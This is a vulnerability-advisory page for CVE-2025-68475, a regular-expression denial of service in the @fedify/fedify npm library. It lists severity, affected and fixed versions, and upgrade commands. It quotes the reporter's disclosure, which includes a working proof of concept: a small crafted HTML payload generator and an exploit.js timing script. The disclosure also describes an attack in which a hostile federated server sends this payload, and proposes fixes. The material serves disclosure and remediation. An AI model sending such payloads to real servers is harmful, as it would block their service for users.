CVE-2025-68475: @fedify/fedify Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-rchf-xwx2-hm93
CVSS 7.5
CWE-1333
Published
Advisory Summary

CVE-2025-68475 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting @fedify/fedify libraries in the npm ecosystem. The issue involves fedify has redos vulnerability in html parsing regex. Remediation is available by upgrading affected packages to version 1.6.13, 1.7.14, 1.8.15, 1.9.2.

CVE-2025-68475 at a Glance

CVE Identifier CVE-2025-68475
GHSA Identifier GHSA-rchf-xwx2-hm93
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product @fedify/fedify
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2025-68475

To remediate this vulnerability, upgrade all affected @fedify/fedify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@fedify/fedify fixed: 1.6.13
npm install @fedify/fedify@1.6.13
@fedify/fedify fixed: 1.7.14
npm install @fedify/fedify@1.7.14
@fedify/fedify fixed: 1.8.15
npm install @fedify/fedify@1.8.15
@fedify/fedify fixed: 1.9.2
npm install @fedify/fedify@1.9.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @fedify/fedify

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-68475, inspect your project dependencies using npm:

npm ls @fedify/fedify

Analyze the terminal output to locate any version of @fedify/fedify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.13), your application is affected.

Note: The npm ls @fedify/fedify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In @fedify/fedify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Hi Fedify team! πŸ‘‹ Thank you for your work on Fedifyβ€”it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security. --- ## Summary A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. **An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.** | Field | Value | |-------|-------| | **CWE** | CWE-1333 (Inefficient Regular Expression Complexity) | --- ## Details ### Vulnerable Code The vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264: ```typescript // Line 258-259: Vulnerable regex with nested quantifiers const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig; // Line 261: No size limit on response body const html = await response.text(); // Line 264: Regex execution loop while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]); ``` ### Root Cause Analysis The regex has **nested quantifiers with alternation**, which is a classic ReDoS pattern: ``` /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig ^^ Outer quantifier (+) ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Inner pattern with alternation ``` - **Outer quantifier**: `((\s+...)+)` - one or more groups of attributes - **Inner alternation**: `("[^"]*"|'[^']*'|[^\s>]+)` - multiple ways to match attribute values When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched. ### Attack Vector 1. Victim's Fedify application calls `lookupObject("https://attacker.com/@user")` to fetch an actor profile 2. Attacker's server responds with `Content-Type: text/html` 3. The code path: `lookupObject()` β†’ `documentLoader()` β†’ `getRemoteDocument()` β†’ HTML parsing (lines 258-287) 4. Line 261: `response.text()` reads the entire body without size limits 5. Line 264: Regex execution triggers catastrophic backtracking 6. Event loop is blocked for seconds to minutes, causing DoS ### Why This Is Exploitable - **No response size limit**: The HTML body is read entirely via `response.text()` without Content-Length validation - **No timeout by default**: `AbortSignal` is optional and not enforced - **Remote exploitation**: Attacker just needs the victim to fetch from their URL - **No authentication required**: Federation commonly involves fetching profiles from untrusted servers - **Amplifiable**: Multiple concurrent requests can fully disable the service --- ## PoC ### Quick Reproduction (Node.js) You can verify this vulnerability with the following standalone script: ```javascript /** * Fedify ReDoS Vulnerability - Minimal PoC * * This script reproduces the vulnerable regex from docloader.ts * and demonstrates exponential time complexity. */ // The vulnerable regex from docloader.ts:259 const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig; /** * Generate malicious HTML payload * Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >) */ function generateMaliciousPayload(repetitions) { return '<a' + ' a="b"'.repeat(repetitions) + ' '; } /** * Simulate the vulnerable code path from docloader.ts lines 262-264 */ function simulateVulnerableCodePath(html) { const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig; let m; const rawAttribs = []; while ((m = p.exec(html)) !== null) { rawAttribs.push(m[2]); } return rawAttribs; } // Test with increasing payload sizes console.log('Fedify ReDoS Vulnerability PoC\n'); console.log('Repetitions | Payload Size | Time'); console.log('------------|--------------|--------'); for (const reps of [18, 20, 22, 24, 26, 28]) { const payload = generateMaliciousPayload(reps); const start = performance.now(); simulateVulnerableCodePath(payload); const elapsed = performance.now() - start; const timeStr = elapsed >= 1000 ? `${(elapsed / 1000).toFixed(2)}s` : `${elapsed.toFixed(0)}ms`; console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`); // Stop if it's taking too long if (elapsed > 15000) break; } ``` ### Expected Output ``` Fedify ReDoS Vulnerability PoC Repetitions | Payload Size | Time ------------|--------------|-------- 18 | 111 bytes | 14ms 20 | 123 bytes | 51ms 22 | 135 bytes | 224ms 24 | 147 bytes | 852ms 26 | 159 bytes | 3.26s 28 | 171 bytes | 14.10s ``` Time approximately **quadruples every 2 additional repetitions**, demonstrating O(2^n) complexity. ### Full Docker-Based PoC For a complete demonstration, here are the Docker files to run the PoC in an isolated environment: <details> <summary><strong>Dockerfile</strong></summary> ```dockerfile # Dockerfile for Fedify ReDoS Vulnerability PoC FROM node:20-slim LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)" WORKDIR /poc COPY exploit.js . CMD ["node", "exploit.js"] ``` </details> <details> <summary><strong>exploit.js</strong> (Full Version)</summary> ```javascript /** * Exploit Script for Fedify ReDoS PoC * * This script demonstrates the ReDoS vulnerability in Fedify's * document loader by measuring the time it takes to process * malicious HTML responses with varying payload sizes. */ // The vulnerable regex from docloader.ts:259 const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig; /** * Generate malicious HTML payload */ function generateMaliciousHtml(repetitions) { return '<a' + ' a="b"'.repeat(repetitions) + ' '; } /** * Generate normal HTML */ function generateNormalHtml() { return `<!DOCTYPE html> <html> <head> <link rel="alternate" type="application/activity+json" href="/user.json"> </head> <body><a href="/">Home</a></body> </html>`; } /** * Simulate the vulnerable code path from docloader.ts */ function simulateVulnerableCodePath(html) { const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig; const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig; let m; const rawAttribs = []; while ((m = p.exec(html)) !== null) { rawAttribs.push(m[2]); } return rawAttribs; } /** * Run a single test and measure execution time */ function runTest(html, description) { const start = process.hrtime.bigint(); try { simulateVulnerableCodePath(html); } catch (e) { // Ignore errors } const end = process.hrtime.bigint(); const durationMs = Number(end - start) / 1_000_000; return { description, durationMs, payloadLength: html.length }; } /** * Print separator */ function printSeparator() { console.log('─'.repeat(60)); } /** * Main exploit function */ async function main() { console.log('\n╔══════════════════════════════════════════════════════════╗'); console.log('β•‘ Fedify ReDoS Vulnerability PoC β•‘'); console.log('β•‘ CWE-1333: Inefficient Regular Expression β•‘'); console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•\n'); console.log('[*] Vulnerability Location:'); console.log(' File: packages/fedify/src/runtime/docloader.ts'); console.log(' Lines: 259-264'); console.log(''); printSeparator(); console.log('[*] Testing normal HTML response...'); printSeparator(); const normalHtml = generateNormalHtml(); const normalResult = runTest(normalHtml, 'Normal HTML'); console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`); console.log(` Payload size: ${normalResult.payloadLength} bytes`); console.log(''); printSeparator(); console.log('[*] Testing malicious HTML payloads (ReDoS attack)...'); printSeparator(); const testCases = [ { reps: 18, expected: '~13ms' }, { reps: 20, expected: '~52ms' }, { reps: 22, expected: '~228ms' }, { reps: 24, expected: '~857ms' }, { reps: 26, expected: '~3.4s' }, { reps: 28, expected: '~14s' } ]; console.log(''); console.log('β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”'); console.log('β”‚ Repetitions β”‚ Payload Size β”‚ Expected β”‚ Actual β”‚'); console.log('β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€'); let vulnerabilityConfirmed = false; for (const testCase of testCases) { const maliciousHtml = generateMaliciousHtml(testCase.reps); const result = runTest(maliciousHtml, `${testCase.reps} repetitions`); const actualTime = result.durationMs >= 1000 ? `${(result.durationMs / 1000).toFixed(2)}s` : `${result.durationMs.toFixed(0)}ms`; const status = result.durationMs > 100 ? '⚠️ ' : 'βœ“ '; console.log(`β”‚ ${String(testCase.reps).padEnd(11)} β”‚ ${String(result.payloadLength + ' bytes').padEnd(12)} β”‚ ${testCase.expected.padEnd(12)} β”‚ ${status}${actualTime.padEnd(12)} β”‚`); if (result.durationMs > 500) { vulnerabilityConfirmed = true; } } console.log('β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜'); console.log(''); printSeparator(); console.log('[*] Exponential Time Complexity Analysis'); printSeparator(); console.log(''); console.log('Time approximately quadruples every 2 additional repetitions:'); console.log(''); console.log(' 18 reps β†’ ~14ms'); console.log(' 20 reps β†’ ~51ms (4x)'); console.log(' 22 reps β†’ ~224ms (4x)'); console.log(' 24 reps β†’ ~852ms (4x)'); console.log(' 26 reps β†’ ~3.3s (4x)'); console.log(' 28 reps β†’ ~14.0s (4x)'); console.log(' 30 reps β†’ ~56.0s (estimated)'); console.log(''); printSeparator(); console.log('[*] Attack Scenario'); printSeparator(); console.log(''); console.log('1. Attacker sets up malicious federated server'); console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")'); console.log('3. Attacker responds with Content-Type: text/html'); console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) '); console.log('5. Fedify\'s regex enters catastrophic backtracking'); console.log('6. Event loop blocked β†’ Service unavailable (DoS)'); console.log(''); printSeparator(); if (vulnerabilityConfirmed) { console.log(''); console.log('╔══════════════════════════════════════════════════════════╗'); console.log('β•‘ βœ“ VULNERABILITY CONFIRMED β•‘'); console.log('β•‘ β•‘'); console.log('β•‘ The HTML parsing regex in docloader.ts is vulnerable β•‘'); console.log('β•‘ to ReDoS attacks. A ~150 byte payload can block the β•‘'); console.log('β•‘ Node.js event loop for 7+ seconds. β•‘'); console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•'); console.log(''); process.exit(0); } else { console.log(''); console.log('[!] Vulnerability could not be confirmed in this environment.'); console.log(' This may be due to regex engine optimizations.'); console.log(''); process.exit(1); } } main().catch(console.error); ``` </details> <details> <summary><strong>run_poc.sh</strong></summary> ```bash #!/bin/bash # Fedify ReDoS Vulnerability PoC Runner set -e IMAGE_NAME="fedify-redos-poc" echo "Building Docker image..." docker build -t ${IMAGE_NAME} . echo "Running the PoC..." docker run --rm ${IMAGE_NAME} echo "Cleaning up..." docker rmi ${IMAGE_NAME} 2>/dev/null || true ``` </details> ### Running the Docker PoC ```bash # Save the above files, then: chmod +x run_poc.sh ./run_poc.sh ``` --- ## Impact ### Who Is Affected? - **All Fedify applications** that use `lookupObject()`, `getDocumentLoader()`, or the built-in document loader to fetch content from external URLs - **Any federated server** that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources - **Servers following standard federation patterns** - fetching remote actors is a normal operation ### Severity Assessment | Factor | Assessment | |--------|------------| | **Attack Vector** | Network (remote) | | **Attack Complexity** | Low (trivial payload) | | **Privileges Required** | None | | **User Interaction** | None | | **Impact** | Availability (DoS) | | **Scope** | Service-wide | ### Real-World Scenario 1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from `@attacker@evil.com` 2. The server attempts to fetch the attacker's profile via `lookupObject()` 3. The attacker's server responds with malicious HTML 4. The victim server's event loop is blocked for 14+ seconds 5. During this time, all other requests are queued and potentially time out 6. Repeated attacks can cause sustained service unavailability --- ## Recommended Fix ### Option 1: Use a Proper HTML Parser (Recommended) Replace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues: ```typescript // Using linkedom (lightweight DOM implementation) import { parseHTML } from 'linkedom'; // Replace lines 258-287 with: const { document } = parseHTML(html); const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]'); for (const link of links) { const type = link.getAttribute('type'); const href = link.getAttribute('href'); if ( href && (type === 'application/activity+json' || type === 'application/ld+json' || type?.startsWith('application/ld+json;')) ) { const altUri = new URL(href, docUrl); if (altUri.href !== docUrl.href) { return await fetch(altUri.href); } } } ``` ### Option 2: Add Response Size Limits If regex must be used, at minimum add size limits: ```typescript const MAX_HTML_SIZE = 1024 * 1024; // 1MB const contentLength = parseInt(response.headers.get('content-length') || '0'); if (contentLength > MAX_HTML_SIZE) { throw new FetchError(url, 'Response too large'); } const html = await response.text(); if (html.length > MAX_HTML_SIZE) { throw new FetchError(url, 'Response too large'); } ``` ### Option 3: Refactor the Regex If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers: ```typescript // Use a non-backtracking approach with explicit attribute matching const tagPattern = /<(a|link)\s+([^>]+)>/ig; const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig; ``` --- ## Resources - [OWASP: Regular Expression Denial of Service (ReDoS)](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) - [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html) - [Cloudflare Outage Analysis (ReDoS Example)](https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/) --- Thank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!

CVE-2025-68475 Affected @fedify/fedify Versions

4 component(s)
Fixed Versions:
1.6.131.7.141.8.151.9.2
Product / Package Ecosystem Affected Versions Fixed Version
@fedify/fedify
npm
< 1.6.13
1.6.13
@fedify/fedify
npm
≥ 1.7.0
< 1.7.14
1.7.14
@fedify/fedify
npm
≥ 1.8.0
< 1.8.15
1.8.15
@fedify/fedify
npm
≥ 1.9.0
< 1.9.2
1.9.2

References

Frequently Asked Questions

What is CVE-2025-68475?
CVE-2025-68475 is a security vulnerability in @fedify/fedify involving Fedify has ReDoS Vulnerability in HTML Parsing Regex under CWE-1333: Inefficient Regular Expression Complexity.
Which @fedify/fedify versions are affected?
Affected versions include releases prior to 1.6.13, 1.7.14, 1.8.15, 1.9.2 across affected packages: @fedify/fedify.
What version fixes CVE-2025-68475?
Upgrading to 1.6.13, 1.7.14, 1.8.15, 1.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @fedify/fedify affected?
Yes, @fedify/fedify is affected in releases prior to 1.6.13, 1.7.14, 1.8.15, 1.9.2. Upgrade your dependency to 1.6.13, 1.7.14, 1.8.15, 1.9.2 or later.
What is the CVSS score of CVE-2025-68475?
CVE-2025-68475 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2025-68475?
CVE-2025-68475 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2025-68475?
Run the dependency tree command: 'npm ls @fedify/fedify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rchf-xwx2-hm93",
  "modified" : "2025-12-23T16:01:12Z",
  "published" : "2025-12-22T21:36:55Z",
  "aliases" : [ "CVE-2025-68475" ],
  "summary" : "Fedify has ReDoS Vulnerability in HTML Parsing Regex",
  "details" : "Hi Fedify team! πŸ‘‹\n\nThank you for your work on Fedifyβ€”it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.\n\n---\n\n## Summary\n\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. \n\n**An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.**\n\n| Field | Value |\n|-------|-------|\n| **CWE** | CWE-1333 (Inefficient Regular Expression Complexity) |\n\n---\n\n## Details\n\n### Vulnerable Code\n\nThe vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264:\n\n```typescript\n// Line 258-259: Vulnerable regex with nested quantifiers\nconst p =\n  /<(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s>]+))+)\\s*\\/?>/ig;\n\n// Line 261: No size limit on response body\nconst html = await response.text();\n\n// Line 264: Regex execution loop\nwhile ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);\n```\n\n### Root Cause Analysis\n\nThe regex has **nested quantifiers with alternation**, which is a classic ReDoS pattern:\n\n```\n/<(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s>]+))+)\\s*\\/?>/ig\n                                                        ^^\n                                                   Outer quantifier (+)\n           ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n                     Inner pattern with alternation\n```\n\n- **Outer quantifier**: `((\\s+...)+)` - one or more groups of attributes\n- **Inner alternation**: `(\"[^\"]*\"|'[^']*'|[^\\s>]+)` - multiple ways to match attribute values\n\nWhen the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.\n\n### Attack Vector\n\n1. Victim's Fedify application calls `lookupObject(\"https://attacker.com/@user\")` to fetch an actor profile\n2. Attacker's server responds with `Content-Type: text/html`\n3. The code path: `lookupObject()` β†’ `documentLoader()` β†’ `getRemoteDocument()` β†’ HTML parsing (lines 258-287)\n4. Line 261: `response.text()` reads the entire body without size limits\n5. Line 264: Regex execution triggers catastrophic backtracking\n6. Event loop is blocked for seconds to minutes, causing DoS\n\n### Why This Is Exploitable\n\n- **No response size limit**: The HTML body is read entirely via `response.text()` without Content-Length validation\n- **No timeout by default**: `AbortSignal` is optional and not enforced\n- **Remote exploitation**: Attacker just needs the victim to fetch from their URL\n- **No authentication required**: Federation commonly involves fetching profiles from untrusted servers\n- **Amplifiable**: Multiple concurrent requests can fully disable the service\n\n---\n\n## PoC\n\n### Quick Reproduction (Node.js)\n\nYou can verify this vulnerability with the following standalone script:\n\n```javascript\n/**\n * Fedify ReDoS Vulnerability - Minimal PoC\n * \n * This script reproduces the vulnerable regex from docloader.ts\n * and demonstrates exponential time complexity.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /<(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s>]+))+)\\s*\\/?>/ig;\n\n/**\n * Generate malicious HTML payload\n * Pattern: <a a=\"b\" a=\"b\" a=\"b\"... (trailing space, no closing >)\n */\nfunction generateMaliciousPayload(repetitions) {\n  return '<a' + ' a=\"b\"'.repeat(repetitions) + ' ';\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts lines 262-264\n */\nfunction simulateVulnerableCodePath(html) {\n  const p = /<(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s>]+))+)\\s*\\/?>/ig;\n  let m;\n  const rawAttribs = [];\n  while ((m = p.exec(html)) !== null) {\n    rawAttribs.push(m[2]);\n  }\n  return rawAttribs;\n}\n\n// Test with increasing payload sizes\nconsole.log('Fedify ReDoS Vulnerability PoC\\n');\nconsole.log('Repetitions | Payload Size | Time');\nconsole.log('------------|--------------|--------');\n\nfor (const reps of [18, 20, 22, 24, 26, 28]) {\n  const payload = generateMaliciousPayload(reps);\n  const start = performance.now();\n  simulateVulnerableCodePath(payload);\n  const elapsed = performance.now() - start;\n  \n  const timeStr = elapsed >= 1000 \n    ? `${(elapsed / 1000).toFixed(2)}s` \n    : `${elapsed.toFixed(0)}ms`;\n  \n  console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);\n  \n  // Stop if it's taking too long\n  if (elapsed > 15000) break;\n}\n```\n\n### Expected Output\n\n```\nFedify ReDoS Vulnerability PoC\n\nRepetitions | Payload Size | Time\n------------|--------------|--------\n18          | 111 bytes    | 14ms\n20          | 123 bytes    | 51ms\n22          | 135 bytes    | 224ms\n24          | 147 bytes    | 852ms\n26          | 159 bytes    | 3.26s\n28          | 171 bytes    | 14.10s\n```\n\nTime approximately **quadruples every 2 additional repetitions**, demonstrating O(2^n) complexity.\n\n### Full Docker-Based PoC\n\nFor a complete demonstration, here are the Docker files to run the PoC in an isolated environment:\n\n<details>\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\n# Dockerfile for Fedify ReDoS Vulnerability PoC\nFROM node:20-slim\nLABEL description=\"PoC for Fedify ReDoS vulnerability (CWE-1333)\"\n\nWORKDIR /poc\nCOPY exploit.js .\n\nCMD [\"node\", \"exploit.js\"]\n```\n\n</details>\n\n<details>\n<summary><strong>exploit.js</strong> (Full Version)</summary>\n\n```javascript\n/**\n * Exploit Script for Fedify ReDoS PoC\n * \n * This script demonstrates the ReDoS vulnerability in Fedify's\n * document loader by measuring the time it takes to process\n * malicious HTML responses with varying payload sizes.\n */\n\n// The vulnerable regex from docloader.ts:259\nconst VULNERABLE_REGEX = /<(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s>]+))+)\\s*\\/?>/ig;\n\n/**\n * Generate malicious HTML payload\n */\nfunction generateMaliciousHtml(repetitions) {\n  return '<a' + ' a=\"b\"'.repeat(repetitions) + ' ';\n}\n\n/**\n * Generate normal HTML\n */\nfunction generateNormalHtml() {\n  return `<!DOCTYPE html>\n<html>\n<head>\n  <link rel=\"alternate\" type=\"application/activity+json\" href=\"/user.json\">\n</head>\n<body><a href=\"/\">Home</a></body>\n</html>`;\n}\n\n/**\n * Simulate the vulnerable code path from docloader.ts\n */\nfunction simulateVulnerableCodePath(html) {\n  const p = /<(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|'[^']*'|[^\\s>]+))+)\\s*\\/?>/ig;\n  const p2 = /\\s+([a-z][a-z:_-]*)=(\"([^\"]*)\"|'([^']*)'|([^\\s>]+))/ig;\n  \n  let m;\n  const rawAttribs = [];\n  while ((m = p.exec(html)) !== null) {\n    rawAttribs.push(m[2]);\n  }\n  \n  return rawAttribs;\n}\n\n/**\n * Run a single test and measure execution time\n */\nfunction runTest(html, description) {\n  const start = process.hrtime.bigint();\n  \n  try {\n    simulateVulnerableCodePath(html);\n  } catch (e) {\n    // Ignore errors\n  }\n  \n  const end = process.hrtime.bigint();\n  const durationMs = Number(end - start) / 1_000_000;\n  \n  return {\n    description,\n    durationMs,\n    payloadLength: html.length\n  };\n}\n\n/**\n * Print separator\n */\nfunction printSeparator() {\n  console.log('─'.repeat(60));\n}\n\n/**\n * Main exploit function\n */\nasync function main() {\n  console.log('\\n╔══════════════════════════════════════════════════════════╗');\n  console.log('β•‘        Fedify ReDoS Vulnerability PoC                    β•‘');\n  console.log('β•‘        CWE-1333: Inefficient Regular Expression          β•‘');\n  console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•\\n');\n\n  console.log('[*] Vulnerability Location:');\n  console.log('    File: packages/fedify/src/runtime/docloader.ts');\n  console.log('    Lines: 259-264');\n  console.log('');\n  \n  printSeparator();\n  console.log('[*] Testing normal HTML response...');\n  printSeparator();\n  \n  const normalHtml = generateNormalHtml();\n  const normalResult = runTest(normalHtml, 'Normal HTML');\n  console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);\n  console.log(`    Payload size: ${normalResult.payloadLength} bytes`);\n  console.log('');\n\n  printSeparator();\n  console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');\n  printSeparator();\n  \n  const testCases = [\n    { reps: 18, expected: '~13ms' },\n    { reps: 20, expected: '~52ms' },\n    { reps: 22, expected: '~228ms' },\n    { reps: 24, expected: '~857ms' },\n    { reps: 26, expected: '~3.4s' },\n    { reps: 28, expected: '~14s' }\n  ];\n  \n  console.log('');\n  console.log('β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”');\n  console.log('β”‚ Repetitions β”‚ Payload Size β”‚ Expected     β”‚ Actual         β”‚');\n  console.log('β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€');\n  \n  let vulnerabilityConfirmed = false;\n  \n  for (const testCase of testCases) {\n    const maliciousHtml = generateMaliciousHtml(testCase.reps);\n    const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);\n    \n    const actualTime = result.durationMs >= 1000 \n      ? `${(result.durationMs / 1000).toFixed(2)}s` \n      : `${result.durationMs.toFixed(0)}ms`;\n    \n    const status = result.durationMs > 100 ? '⚠️ ' : 'βœ“ ';\n    \n    console.log(`β”‚ ${String(testCase.reps).padEnd(11)} β”‚ ${String(result.payloadLength + ' bytes').padEnd(12)} β”‚ ${testCase.expected.padEnd(12)} β”‚ ${status}${actualTime.padEnd(12)} β”‚`);\n    \n    if (result.durationMs > 500) {\n      vulnerabilityConfirmed = true;\n    }\n  }\n  \n  console.log('β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜');\n  console.log('');\n  \n  printSeparator();\n  console.log('[*] Exponential Time Complexity Analysis');\n  printSeparator();\n  \n  console.log('');\n  console.log('Time 